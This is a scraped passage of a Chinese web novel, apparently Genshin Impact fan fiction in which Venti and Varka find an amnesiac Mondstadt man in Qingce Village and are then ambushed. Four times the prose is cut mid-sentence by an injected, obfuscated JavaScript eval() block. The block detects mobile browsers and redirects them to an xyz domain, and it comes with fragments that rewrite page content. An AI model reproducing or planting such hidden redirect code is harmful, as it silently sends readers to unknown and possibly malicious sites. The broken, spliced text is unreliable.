小六不疑有他,立刻四处观望起来,“怎么回事?”她像个小大人一样,也只用低音说话,同时还看了一眼小孩扎堆的地方,生怕他们被卷进危险似的,“跟……跟踪你?” “没错。”温迪郑重其事地点头,用眼神往斜后方示意。 小六的目光越过温迪,落到了竹林另一侧,离自己还有一定距离的法尔伽身上。 那高大男人的身型立刻就让小六紧张地捂住了嘴巴。 她惊恐地瞪圆了眼睛,和温迪用眼神交流。而温迪则沉重地闭了两下眼睛,表示就是他。 法尔伽远远看着这边,只见温迪不知道和小女孩说了什么,她时不时往自己这边张望两下,表情很是诡异。 还不知道自己已经变成跟踪坏蛋的法尔伽:“???” 温迪继续着他的表演,苦恼地说:“他跟我好长时间了,甩都甩不掉。” “那……那你可以找千岩军!”小六鼓起勇气,立刻给出建议,“千岩军一定会保护你的!” 温迪当然知道千岩军是璃月地区负责治安的组织,但此刻他只能装傻,说:“他们……他们值得信赖吗?” 这时,小六才满眼放光地说:“当然!你别怕,我告诉你,我爸爸就是千岩军哦!不过他很忙,很长时间才能回来看我一次……” 说到后面,小女孩的神情明显低落下去。温迪沉默了两秒,手从身后一闪,拿出了一朵蒲公英。 “给你。”温迪说,“想爸爸的时候,你可以站在高处吹蒲公英,这样你的思念就能随着风,飞到爸爸那里哦。” 小女孩没见过这么大朵的蒲公英,小孩喜欢新奇事物的心性让她很快又高兴起来,她接过蒲公英,很用力地点了点头。 “既然你说爸爸很长时间才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966414|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能来看你一次,想必轻策庄里没有千岩军的驻点吧?”温迪假装很为难,“但是我现在真的有点害怕……” 小六看着手里的蒲公英,又看了眼看起来人畜无害的绿衣少年,沉默了好一会儿,才一跺脚,说:“一会儿我带你去个地方,别人肯定找不到。你在那里躲一阵子,那个人找不到你,肯定就会离开了。” 温迪被孩童天真单纯的好意感动,摸了摸她的头,说:“谢谢你。但是那个人一直紧紧地跟着我,我要怎么才能单独跟你去那个地方呢?” 小六眼睛亮晶晶地说:“交给我吧。” 从法尔伽的角度看,温迪和小女孩交谈了一会儿,小女孩就三两步跑到了小孩堆里,用说悄悄话的方式,挨个在其他小孩的耳边说了些什么。 等她给一圈的小孩都交代完,原本兴致盎然玩琴的小孩们,都不约而同地往他的方向看过来。 那表情,活像法尔伽抢了他们东西似的,一脸的苦大仇深。 不明白自己招谁惹谁了的法尔伽:“???” 而小六则接过温迪的斐林,回到了温迪的身边,两人一前一后,径直向另一个方向快速离开了。 法尔伽有点疑惑,不知道温迪葫芦里卖的什么药,正准备抬腿跟上,竹林边的一圈小孩却向着自己围了过来。 法尔伽见小孩们几乎挡住了自己的去路,没有多想,只是往旁边让了让。可他刚一动,小孩们也跟着调转方向,又全部来围着他了。 就算再迟钝,法尔伽也意识到不对劲了。 “你们……找我?”法尔伽尴尬地笑了笑。 “嗯,就是找你。”走在最前面的男孩看起来是几个小孩的头头,他拉长了音调,一副故意找事的模样,“你不是我们这里的人吧?” 法尔伽眼见温迪都快跟着小女孩跑得没影了,又怕对方在人生地不熟的地方遇到危险,只想赶紧摆脱这莫名其妙找茬的小孩,陪笑道:“对对,我是从蒙德来的,现在可以让我过去了吧?” “不准你过去!”为首的小男孩大叫一声,“快,我们抓住他,他是坏蛋!” 法尔伽这还是第一次被小孩当成“坏蛋”。 他下意识地想解释,小孩们已经哇哇叫着冲了上来,有的抱着他的胳膊,有的抱住他的大腿,还有个身体灵活的,干脆窜到了法尔伽的背上。 法尔伽当然可以立刻把小孩们都甩出去,但是他还没有因为被叫一声“笨蛋”就变成对小孩下手的丧心病狂之徒,他只能无奈地说了一声:“你们……误会了吧?” “才没有误会!”背上的小孩甚至揪住法尔伽的耳朵,朝着里面大吼,“小六都和我们说了,你是坏人,你来抓人的,我们要替天行道,不让你的阴谋得逞!” 法尔伽只感觉脑袋嗡嗡的,不是被震的,而是被无语的。 这都什么和什么,这些小孩究竟是从哪里学来的,电视剧看多了吗……法尔伽哭笑不得地想着。 这时,他联想到从温迪过去和小女孩交谈,到现在发生的一切——他立刻就明白了温迪要干什么。 只是,真就把他当工具人啊? 15. 第15章 法尔伽无奈地对挂在自己身上的男童女童道:“各位,我认输了,对不起,我不知道轻策庄有你们这些厉害人物在,是我不自量力,妄图挑战了。” 背上的男孩得意地笑了一声,“哈哈,你小子倒是很清醒。” 法尔伽都快笑出声来了,但是他面上还得忍着,心里已经把罪魁祸首温迪扔到了龙脊雪山上。 “放过我,我这就离开。”法尔伽用最大的努力,在脸上做出诚恳的神色。 几个小孩你看看我,我看看你,似乎在思考要不要放人。 末了,仍是为首的那个男孩开了口,说:“那好吧。” 法尔伽松了一口气,总算能无伤摆脱这些小鬼头了。 但还没等他想好自己怎么追上温迪,那小男孩一挑眉,说:“但是我们要看着你出村才行。” 法尔伽:“……” 还真不是能轻易糊弄过去的小孩。 法尔伽在心里笑了笑,面上则摆出一副苦瓜脸,说:“当然当然,我马上就走,再也不来了!” 几个小孩都满意地笑了笑,有一个甚至还戳了他胳膊几下。 等几个小童终于全部从法尔伽身上下来,法尔伽立刻往后退了一步,和他们拉开距离,说:“各位,我走了。” “嗯,我们跟着——” “你”字还没说出口,法尔伽一个漂亮至极的空手翻,原地腾云驾雾般,从一众小孩的头顶飞了过去,落到了几丈开外。 留在原地目睹了这一切的小孩们,脑袋整齐划一,随着法尔伽的动作,全部从左转到右,嘴巴统统成了O型,有几个甚至发出了惊呼。 还没等他们从震惊中回过神来,法尔伽长腿一迈,奔着温迪和小女孩离开的方向去了。 * 温迪被小女孩拉着,一路跑到了瀑布附近。 那瀑布在他们进轻策庄的时候就远远见着了,虽然和枫丹堪称奇景的宏伟瀑布没法相比,对于北部的一个小村庄来说,十几米宽度的水流也足够震撼人心。 一路上,小六都没有说话,一门心思地往前跑。直到来到瀑布的附近,她才稍稍停下脚步,只是仍不安地四处张望。 “这就是你说的,别人找不到的地方?”温迪不得不将两只手拢在嘴巴前,形成一个喇叭,借此提高音量。 小六点了点头,但注意力仍在瀑布四周的环境上。 过了一会儿,她似乎是觉得自己已经进行了足够谨慎的观察,抬手拉了下温迪的胳膊,这才大声说:“跟我来。” 说完,她就异常熟练地开始从河边起跳,一路踩着河流上歪歪扭扭的,勉强形成一条路的几块石头,跳到了河的中间。 就在温迪以为她要就这么一直跳到河对面时,小六却突然换了方向,朝着瀑布中间偏右的地方冲了过去。 温迪抬头看了下,那个位置的上方戳着一块不太显眼的石头,也正是因此,那一处自上而下的水流比旁的地方稍微小一些。 一晃神的功夫,小六的身影就消失了。 温迪心下一沉,有点担心她。 如果此刻此处还有别人,那么他可能会惊讶地看到,面对普通人绝对无法直接越过的距离,绿衣少年右脚一蹬,整个人便像是轻飘飘的一尾羽毛,就这么飞进了瀑布里。 和温迪预想的一样,瀑布的后面别有洞天。 小六正在仔细地检查温迪给她的蒲公英有没有沾到水。 见温迪顺利跟了进来,她一直紧张的小脸蛋上才有了少许放松的神色,“你看,我没骗你吧。” “这里居然藏着这么个地方啊。”温迪对着小六比了个大拇指,“看来我躲在这里就不会有其他人发现了,非常感谢。” 听了这话,小六的神色微微一变,她刚想开口解释什么,洞内另一侧就传来了什么东西被踢到的哐当一声。 温迪立刻警觉地将小六拉到身后,开始环顾四周,“有野兽?” “不不——”小六的脸涨得通红,似乎不知道怎么解释,而就在此时,从天然形成的洞内石柱后,走出来一个人。 那是一个年轻的男人,身型瘦削,眼圈深陷,整张脸都有点浮肿,看起来有些没精打采。 他看见温迪,瞠目结舌道:“你是谁?!” 小六看看他,又看看温迪,小跑几步,站到了两人的中间。 她先是朝向了那个年轻男子,急促地说:“格雷普,别紧张,他是我带来的,只是在秘密基地躲一躲坏人,很快就会离开……他不会泄密的!” 然后,她转向温迪,小声道:“格雷普一直藏在这里,除了我,还没有其他人来过,所以他有些害怕……相信我,他不会伤害任何人的!” 被叫做格雷普的年轻男子狐疑地盯着温迪,而温迪也饶有兴趣地打量着对方。 小六揪着自己的小辫子,苦恼地说:“都别这样!” 温迪先做出让步,他往洞口走了两步,示意自己无意侵占此处。 格雷普见他不像有攻击性的样子,也稍微松了口气,转回了原来的石柱后面,似乎打定主意不出来,也不和他们说话。 见状,小六叹了一口气,只得选择跟着温迪往外移动少许。 两个人就这么坐了下来。 “真不好意思,给你添麻烦了。”温迪马上道歉,以此抢占道德先机。 果然如他所预料的一样,善良的小女孩马上摇着头道:“不不,你们都是需要帮助的人,爸爸说,我们对所有需要帮助的人,都应该挺身而出。” 温迪心想,爸爸和女儿都是正直的好人啊。 但他得多想一步,不让好人受到伤害——为此,他得尽量排除不远处那位男子的危险。 “所以刚才里面那位……就是你叫他格雷普的那个人,”温迪用一种好奇闲聊的语气问道,“也是需要帮助的人?” “是的。”小六往里看了一眼,露出回忆的神情,“这里是我从小就发现的秘密基地,除了我之外,再没有哪个大人小孩知道。” “可是,一个月前,我在洞里发现了晕倒的格雷普。” 小六忧心忡忡地说:“当时,我吓了一大跳,想马上出去找大人帮忙,但还没等我起身走掉,格雷普就挣扎着坐了起来,并恳求我保守秘密,让他暂时住在这里。” “为什么?这里根本不适合当人的住所吧?”温迪忍不住皱起眉头,心底里的怀疑又深了一层。 “格雷普说,他失去了一切记忆,甚至不知道自己是谁。但是,他直觉自己处于一个很危险的环境里,所以他……他要躲起来。” 温迪下意识道:“什么?!” 小六以为是自己说得太离谱,便讪讪地解释道:“一开始,我也不太信……可我又不得不信,他除了一些基本常识,真的什么都记不起来了。大部分时间,他就坐在这里,对着外面瀑布的水帘发呆,一待就是很久,看起来很难过的样子。” 温迪看着小女孩纯真的脸庞,并不想把内心一些不好的推测说出来,打击她帮助别人的心,就说:“那……真的很可怜了。” 小六频频点头,“所以,我有时会给他拿点家里的吃的来,他自己也会去林子里找吃的。” 温迪心想,难怪这人看起来状态不太好,生活质量确实太差了。 温迪知道小孩子恐怕不会想那么多,以为有基本的吃喝和遮风避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966415|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨的地方就算住处了,只说:“可你叫他格雷普,他记得自己的名字?” “不,他原来叫什么,没有人知道,”小六遗憾摇头,说:“我见着他的那一天,他嘴里说过几次这个词,我问他是什么意思,他也说不上来,后来我就问,这会不会是他的名字,他就说有可能,让我这么叫他。” “原来如此。”一个奇妙的预感在温迪脑中越盘旋越近,他做出努力思考,要为小六分忧的模样,说:“说不定……他应该去医院,或许他的失忆是因为撞到了脑袋,医生能治好他。” 小六努了努嘴,说:“我知道医院,我们璃月叫医馆……但是,格雷普不愿意去,他说他觉得医院很可怕。” 有什么模糊的感觉,再差一点就能明晰了。 温迪坐在地上,抱着腿,歪着头,看向小六。 “所以,你一直都是因为这个格雷普的事闷闷不乐,也没什么心思和小伙伴一起玩吗?”温迪轻轻问道。 小六愣了一下,她下意识地想否认,但联想到最近庄里其他孩子对自己的不满,她又突然意识到,眼前这个人说的竟然是真的。 “你在担心他。”温迪下了结论。 小六低落地说:“我不知道怎么帮他。” 温迪轻轻笑了笑。 “你爸爸是千岩军,那家里其他人呢,家里的食物少了,都没人发现?”温迪看向有着金子般心灵的小女孩,开口问道。 小六闷闷地说:“我拿的不多,所以妈妈和外婆都没有发现。有时候村里其他人也会给我一些好吃的,我都留着给格雷普。他比我高,比我大,需要吃的更多。” 温迪“哦”了一声,说:“我可以帮他。” “啊?”小六眨巴着眼睛,以为自己听错了。 “我说,我可以帮他。”温迪笑着说,“真的,没骗你。” 在小六“你自己都要找我帮忙呢”的怀疑神色中,温迪继续道:“看他的长相,我就知道他不是璃月人。” 小六表示同意,“是的。” “再看他的衣服式样,大概率是来自最近的风之国度,蒙德。而我,就是一位蒙德人。” 小六被温迪这正儿八经推理的模样唬住,似懂非懂地点点头,但实际上,她也没怎么见过蒙德人,自然也没怎么关注过蒙德人衣服的式样。 “他忘记了自己的一切,但他肯定是有家人的,只要找到家人,就能帮他慢慢找回记忆。” 在温迪的叙述中,小六的眼睛越来越亮。 “你说的对!”她兴奋道:“所以,我们要找到他的家人……” 温迪摇摇头,“不是找到他的家人,而是把他带回蒙德,由他的家人找到他。” 小六不解地问:“可格雷普不愿意离开这里……” 温迪道:“那我们就说服他。你想,他忘记了一切,自然也想不起家人的信息,即便我们想去找,也是大海捞针。但是,把他带回蒙德,再与丢失亲人的那些家庭联系,让他们来认人,总有能对得上的那一天。” 小六忍不住拍手,满眼崇拜的神色,“你说的太对了!” 言毕,她一骨碌从地上爬了起来,“那我现在就去和他说!” 温迪看着小六一路小跑,转过洞里巨大的石柱,随后,里面传来了焦急的对话声。 过了一刻钟的功夫,小六脸上原先的光芒荡然无存,她不高兴地撅着嘴,垂着手走了回来。 “格雷普还是不肯离开这里,我问他为什么,他说他也不知道。” 小六有点沮丧。 “没关系,让我试试。”温迪也站了起来,拍了拍小六的后背,朝着格雷普的地方走过去。 16. 第16章 视线的尽头出现一抹绿色,格雷普很是警觉,立刻往旁边退了退。 温迪双手一摊,表明自己的无害,说:“我和你一样,也在躲人。” 格雷普沉默但警觉地看着他。 温迪道:“你留在这里,其实是因为不愿意回到蒙德吗?” 格雷普闭上了眼睛,看得出来他在努力思考,可结果仍是徒劳无功的,他木然地开口,还是那句,“我不知道。” 温迪道:“你是蒙德人。” 他直接给出了结论,没有用任何证据佐证,仿佛这种辨认对他来说,就和呼吸一样简单明确。 格雷普看了看他,没有任何反应。 “来吧,让我为你奏响一曲家乡的音乐,”温迪笑笑,“也许能为你唤回什么。” 他向旁边走了两步,单腿屈起,倚靠在石柱上,用一个放松的姿势,开始弹奏里拉琴。 近在咫尺的瀑布的震耳欲聋的响声中,格雷普和不远处的小六都神奇地听到了里拉琴清晰的声音。 那乐曲既是琴,又是风,是高空,是大地,是飘忽闪动的灵性的集合。 小六听得呆了。 一曲终了,温迪睁开眼睛,笑着问:“现下感觉如何呢,是否想起了关于蒙德的些许,格雷普先生?” 格雷普的双眼似乎被某些情绪填满了,可那些明明属于他的情感却无法通过正常的方式疏解,横冲直撞地找不到出口,最终汇成了他空洞的眼中,流下的茫然泪水。 从温迪开始演奏就往两人这边靠近的小六,此刻看到了流泪的格雷普,她惊讶地瞪大了眼睛,“格雷普……你、你哭了?!” 这段时间接触下来,格雷普好像一个没有内在的空心人,不会哭也不会笑,小六从未见过他这样强烈的感情流露。 而此刻,真实的泪水在他的脸上越聚越多,滴落在地。 小六被他的情绪感染,鼻子一酸,也想哭了。 温迪用左眼向小六眨了一下,示意她不要哭,应当感到高兴。 小六揉了下泛起薄雾的眼睛,再次睁开时,眼中已满是对温迪的崇拜。 温迪对着她笑了笑,清了清嗓子,对着格雷普说道:“外面的世界还很广阔,无论过去如何,你不必现在就将自己封锁在这里。” 格雷普呆呆地站着,没有回应。 温迪说:“和我一起离开吧,我会将你送回你应该去的地方。” 见格雷普还是毫无动静,小六着急地走过去,为温迪帮腔道:“格雷普,不管怎么样,一直待在这里可不行……” 格雷普低下头,看见满脸写着担忧的小六,伸手摸了下她的头,然后说了一声:“好。” 小六激动地原地蹦了一下,“太好啦!” 随后,仿佛是印证自己的承诺似的,格雷普开始移动,他拖着步子,一步步迈向洞口处。 小六则亦步亦趋地跟着,走了几步才想起来温迪,赶紧对着他招手。 响彻云霄的轰鸣声中,三个身影依次从瀑布后显出。 格雷普出来的时候并没有躲避瀑布水帘,整个人从头到脚都是湿漉漉的。他从一个个可供落脚的石头上跃到河边,抬头看了眼空中的太阳,久违了似的,眯起了眼睛。 最后一个跳过来的是温迪,他笑眯眯地说:“其实也没那么难,在外面感觉不错吧。” 格雷普仍是以沉默应对。 小六则皱着眉头,提出了她的问题,“可是你要怎么带他离开呢,你自己都还——” 话没说完,小六脸色瞬间变了,她连连退后几步,指着来的方向道:“快、快跑!” 但是,还没等她真的跑出去,在即将跑过温迪身边时,她就被温迪拉住了。 小六急得满头冒汗,“怎么不跑啊!” “没事,他是我的手下。”温迪安抚地拍了拍小六的胳膊,“是来救我们的。” 小六彻底晕了,“他不是刚才要抓你的人吗?” 温迪一本正经道:“虽然看着很像,但这个人和刚才那个人,是双胞胎,不是同一个人哦。” “啊?”小六很懵,但她毕竟还是个小孩,在一系列突发情况中,她无法做到准确分析,只得晕头晕脑地听着温迪胡说八道。 “是的,”温迪作出沉痛的表情,“本来他们兄弟二人都是好人,可是某一天,双胞胎弟弟叛变了,他想把我抓起来,但正直的哥哥不会允许这种事发生,所以他及时赶到,戳破了弟弟的阴谋,及时地拯救我……” 临时编的故事还没讲完,法尔伽就已经走到了跟前。 他的无语在看到温迪留下的特殊追踪标记时已经消了大半,此刻模糊听到几句,不由问道:“……什么阴谋?” “哎嘿。”温迪单眼一眨,做出个装傻充愣的表情,“你来了。” 小六怀疑地一会看看法尔伽,一会又看看温迪,脑子里还没消化这莫名其妙的一切。 “到底怎么回事?”法尔伽再一次弹了温迪的帽檐。 小六的嘴巴小小地变成了O型——这个手下居然敢这么对自己的上级?! “上级”温迪咳了一声,“我在这里发现了个人。” “我知道。”法尔伽一早就观察到一旁像是人偶般没有情绪的人,“怎么回事?” “他是蒙德人,想和我们一起回去。”温迪模糊地说着,递给法尔伽一个神色,示意有小六在场,让他此刻不要多问。 法尔伽很配合,说:“没问题,可以和我们一起搭乘飞行器回去。” 听到这句,小六才终于有了格雷普要走的真实感。 这一个月以来,虽然格雷普并没有和她多说什么,可她已经把这个可怜人当成了自己的好朋友——她的一切快乐和悲伤,无论多么小的事,她都愿意和格雷普分享,而格雷普也总是安静地倾听着。 “格雷普,”小六的声音有点哽咽,“你回去之后,等想起了一切,还会再来轻策庄吗?” 格雷普看着很远的地方,没有说话。 小六等了一会儿,确认格雷普不会作出任何承诺,她吸了吸鼻子,提高了嗓音,说:“好吧,如果这样对你最好,你就不要回来了!” 年轻苍白的男子依旧沉默着。 “事不宜迟,”法尔伽适时催促道:“飞行器一会儿就要回蒙德了,我们最好赶紧去村口集合。” 温迪点点头,也对着格雷普说:“走吧。” 而格雷普先前像是神游天外一般,此刻才终于有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966416|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应——他沉重地呼吸着,一步一步跟着法尔伽,向瀑布相反的地方走去。 小六看着他的背影,又欣慰又觉得委屈。 正在这时,温迪又一次半蹲下来,和她对视着。 小六不明所以,她想了几秒,才说:“放心,格雷普的事情我不会说,你们的事情我也会保密的。” 温迪摇了摇头。 他向着小六摊开自己的右手,那里面正躺着一枚白色的羽毛,那羽毛不知什么质地,看起来还在微微发光,靠近的时候,有一种轻柔温暖的感觉。 “这个送给你。”温迪笑着说,“愿世界上每一个心地善良的女孩都能拥有幸福快乐。” “好漂亮……”小六被羽毛吸引了,两眼一眨不眨地看着,赶紧伸出了双手,珍重地接过了羽毛。 那片羽毛落到手中,几乎就是毫无重量,像是被风托举着。 “如果有什么需要帮忙,或者为难的事情,不妨对着它说哦。”温迪笑着说:“它会给你带来好运。” 小六只觉自己得了个精致漂亮的稀奇羽毛,丝毫不知这是某种恩赐,她郑重地点点头,将羽毛合拢在掌心中,“我会好好保管的!” 温迪拍了拍小六的肩,“还有最后一件重要的事情。” “嗯?”此刻的小六,注意力都在羽毛上,低沉难过的情绪已经一扫而空了。 “做好事并不意味着时时都要保密,如果下次再遇到成年的大人向你求援,一定要告诉妈妈和外婆哦。” “可是……”小六有点困惑,“如果告诉妈妈和外婆会让他们困扰的话……” “放心。”温迪眨了下眼睛,“真正需要帮助的人,妈妈和外婆也会和你一样选择帮忙的。难道你不相信她们吗?” 小六终于想通了,眼睛亮亮地点了下头。 交代完最重要的这件事,温迪才起身,向着小六挥了好几次手,才转过头去,追上了前面的法尔伽和格雷普。 小六留在瀑布那里没有跟来,温迪知道,女孩一定会更好地迎接下一段人生故事。 而法尔伽见温迪来了,低声说:“现在我们可能不能顺着庄子里的路往村口走了。” 温迪不明白,问:“为什么,路堵了?” 法尔伽道:“托某位的福,那些追着我打的小孩,此刻正在沿路堵我呢。” 温迪尴尬一笑,这才想起当时为了获取小六的信任,在法尔伽不知情的情况下,演了一出戏。 “堂堂西风骑士团大团长,不至于害怕几个小孩吧。”温迪揶揄道。 法尔伽无奈道:“你也知道都是小孩,打不得骂不得,万一一个不好真的惹上了,要被一个庄子的人仇视的。” 温迪忍笑,“大团长说的有道理,那我们现在怎么办?” 法尔伽看着这个惹出麻烦却丝毫没有解决意识的人,不知怎么的,心底只剩认命俩字,“我叫凯亚把飞行器开过来,那边……就是那个山头,对,有一个开阔的平地,可以降落小型飞行器。” “……真是好主意啊。”温迪真情实感地说。 法尔伽深吸了一口气,开始自我反思,是不是他每次都能把烂摊子收拾得太好,导致这一个两个团员,才能这么地肆无忌惮? 17. 第17章 三人很快爬到了先前看到的山顶上,而早早接到团长指令的雪白飞行器已经在一旁等待。 凯亚看见他们的身影,焦急地走了过来,“怎么样,有进——” 他本想问法尔伽找人的情况如何了,但在看清最后那人面容之时,凯亚彻底呆住了。 “竟然是真的,他真的在轻策庄。”凯亚喃喃自语道。 法尔伽看了眼凯亚的神情,确定了这个轻策庄的外来人就是盖伊。 琴从飞行器打开的门里走了出来,看见法尔伽和温迪带了个人回来,点头道:“找到了?” 温迪笑道:“……任务完成。” “格雷普?” 听完温迪的大概描述,凯亚皱着眉头发问,“盖伊,这是你的化名?” 格雷普——也就是特纳的儿子,盖伊,茫然地看向凯亚,说:“你说什么?” “半完成吧,”温迪及时给自己打了个补丁,“人是找到了,可他什么都不记得了。” “失忆?”琴快步走了过来,她围着盖伊看了一圈,说:“强烈的精神刺激和外部创伤都可能导致大脑记忆受损……他这是不是……” “他不是受损,是彻彻底底丧失了作为‘盖伊’时的一切记忆。”温迪向在场的几人介绍,神情有些凝重。 几人之中,只有凯亚和盖伊从前就认识,听完温迪的话,属他的眉头皱得最紧。 “他到底遭遇了什么……”琴不可思议道,“也许我们的当务之急,是给他找个脑科医院,好好地为他检查一番。” “是的。”法尔伽同意琴的意见,“虽然目前问不出什么有用的信息,但至少人找到了,算是阶段性胜利吧。” “事不宜迟,”凯亚说:“我们立刻回蒙德。” 几人目光对视,都各自点头,不约而同地向飞行器走去。 正在这时,山的另一侧,突然传来了飞行器特有的行驶声音! 就在他们抬头之际,不足一分钟的时间,那未曾见过的飞行器,已然出现在了他们所处的山头平台上空! 这种几乎快要与世隔绝的小村庄,绝不可能在一天内聚集这么多的飞行器! “全体注意!”身为佣兵的直觉让法尔伽立刻吼道,“散开!” 人聚集在一起就是活靶子,琴、凯亚都是训练有素,身经百战的佣兵成员,身体本能地朝不同方向奔去,极速奔跑的同时,目光仍在关注同伴的位置,以及是否有可以利用的掩体。 法尔伽则左右手各提着盖伊和温迪,向西风骑士团自己的飞行器狂奔——那里面还有看押库博的米卡和罗莎莉亚,以及作为飞行员的安柏,他必须提醒他们此刻突发的危险! 法尔伽的速度快到几乎是下瞬间就出现在了飞行器半开的门前——几分钟前,琴和凯亚正是从这里出来,迎上了归队的几人。 法尔伽把两个人往门里一推,对着温迪说了句“看好盖伊和库博!”,就立刻转身走了。 温迪将状况外的盖伊拽到了飞行器的座位上,对着明显不知道发生了什么的米卡简要说道:“外面打起来了,这是我们找到的盖伊,千万保护好他。” “什么?!”米卡立刻站了起来,作出警戒的模样,“我去帮忙!” “盖伊和库博都需要人保护,”温迪看着收起了平素心不在焉模样的罗莎莉亚,“很重要,对方就是冲着他们来的。” 小型飞行器的驾驶舱和座位舱离得很近,是以安柏也听到了动静,解开安全带,想过来问问情况。 “飞行员不能动。”温迪制止了安柏的行为,“必须保证飞行器在控制范围内,如果有必要,你们先带着这两个人回蒙德。” 见飞行器里的三人面露犹豫,温迪立刻谎称:“大团长是这么交代的,我想,他既然这么说了,就不用担心。” 说罢,他马上转身,撂下一句,“从里面把舱门锁住!”就冲了出去。 飞行器内,米卡和罗莎莉亚沉默地握住了各自的武器,而安柏则深深呼吸,坐回了驾驶员位,将一切调整到可以随时出发的状态。 等到温迪在飞艇里交代完,再次跑出来时,盘旋在平台上空的飞行器上,已经通过软梯,跳下来数十号人。 人一落地,他们就训练有素地展开了阵型。从他们毫不犹豫的行动状态来看,必然是高空有利的视角让西风骑士团的几人行踪全然暴露! 温迪心下微沉。 好在人不多——这种小型飞行器,最多也只能搭乘十二人。 温迪在心里盘算了下,经过最近和西风骑士团的相处,他的力量已经恢复了一些——虽然不能说多,而且最近也或多或少用了一点,但在紧急情况下,还是很有帮助的。 就是这么一瞬间,他已经从己方飞行器的位置闪现到了对面一块大石头后。 而就在他转移位置的几十秒后,六个全副武装的人已然冲向他刚才所处的位置——正是要包围他们的飞行器! 一定是看到了他们将盖伊带了进去! 温迪庆幸自己这边动作更快,至少先一步把飞行器的门给锁住了。这种小型飞行器虽然是为了便捷出行制造的,但并没有在安全性上偷工减料,若是防御系统全开,原地就是一个钢铁堡垒。 ——至少不是一时半刻能被人攻破的。 而从飞行器上下来的另外六人,则两两分组,奔着法尔伽、琴和凯亚而去。 轻策庄的山间树木林立,但此处是山的最高位置,又是一处天然的平台,并没有什么太多的遮挡物,这也是一开始法尔伽会让飞行器在这里降落的原因。而无处可藏的西风骑士团的几人,在彻底拉开距离后,与敌人二对一的短兵相接。 温迪深吸一口气,立刻掏出斐林,他无声的拨动琴弦,让原地而起的风为几人助力。 战场上的法尔伽等人突然感觉身体变得轻盈,无论是挥剑劈砍或是跳跃躲避,都轻松得有如神助! 法尔伽在战斗力上本来就处于绝对上风,他更快地解决了本想夹击他的两人,将他们一脚一个,踢得飞出去数米,卷得地上的尘土一片飞扬。 法尔伽刚想去凯亚或者琴的位置协助,可还没等他行动,地上的两人又快速爬了起来,一边一个地冲了过来。 法尔伽隐隐觉得有些不对,刚才的力度,就算是不骨折,也会造成常人难忍的疼痛,一般受到这种程度伤势的人,虽然不至于有生命危险,但在地上半天爬不起来才是正常的。 可这两个人就像是没事人一样……不,仔细看的话,其中一人的一条腿明显以不正常的姿势扭曲着,但是他奔跑而来的行动却没有丝毫迟疑! 再看他们的脸部表情,那上面什么都没有,就像是木偶一样空洞!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966417|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 法尔伽暗道不好,他刚才还猜这些人是不是被雇佣的佣兵团,但这些人明显不对劲! “这些敌人不正常,千万不要掉以轻心,需要将他们彻底击溃!”法尔伽向着凯亚和琴的方向喊道。 话音刚落,已经奔到近前的两人手持利剑,从不同的方向刺向法尔伽,法尔伽干脆一个后仰,同时避开两边的攻击。 下一秒,法尔伽以手撑地,另一脚向前横扫,成功踢中其中一人,将那人摔倒在地后,立刻跟上一个腿部回旋,自下而上地踢中了另一个人的面部,让他直直飞了出去! 有了之前的经验,法尔伽不再等待,掏出随身携带的电击绳索,将离自己更近的人飞快一绑——还得是新科技啊,法尔伽这时候还有心思暗暗感慨一声。 被自动绑住全身的人扭动起来,试图挣脱,可那也只是让他看起来更像是一只在地面乱蹦的蛹而已。 解决了一个,剩下的就好办了。 法尔伽此时已经明白,这些人都不是顶级战斗力,至少不是A级团长或副团长的实力。即便被训练得不知疼痛,没有个人感情,他来做对手,还是绰绰有余了。 在绑第二人时,不知为何,法尔伽心中的不安仍旧没有散去。 突然,先前被绳索绑住的那个攻击者,开始更加疯狂地挣扎起来! 法尔伽刚想说你省省吧,这种最新款的新材料绳索是根本挣不开的,就看见那人被绑住的位置,颜色渐渐变成了鲜红,又很快转成了黑色,而那和皮肤接触的绳索,居然一点点融化了! 看起来简直像是用皮肉将绳索燃烧了一样! 